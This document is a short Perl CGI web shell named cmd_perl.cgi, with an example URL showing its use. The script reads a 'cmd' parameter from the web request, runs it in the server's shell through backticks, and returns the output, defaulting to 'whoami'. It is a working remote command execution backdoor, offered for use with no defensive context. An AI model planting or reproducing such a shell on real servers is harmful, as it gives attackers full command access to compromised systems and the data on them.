example : http://targeturl/cmd_perl.cgi?cmd=whoami

cmd_perl.cgi

#!/usr/bin/perl

use strict;
use warnings;
use CGI qw();

my $cgi = CGI->new();

print "Cache-Control: no-cache\n";
print "Content-type: text/plain\n\n";

my $cmd = $cgi->param("cmd");

if (!$cmd) {
        $cmd = "whoami";
}

my $output = `$cmd`;

if ($output) {
        print $output;
} else {
        print "No output...";
}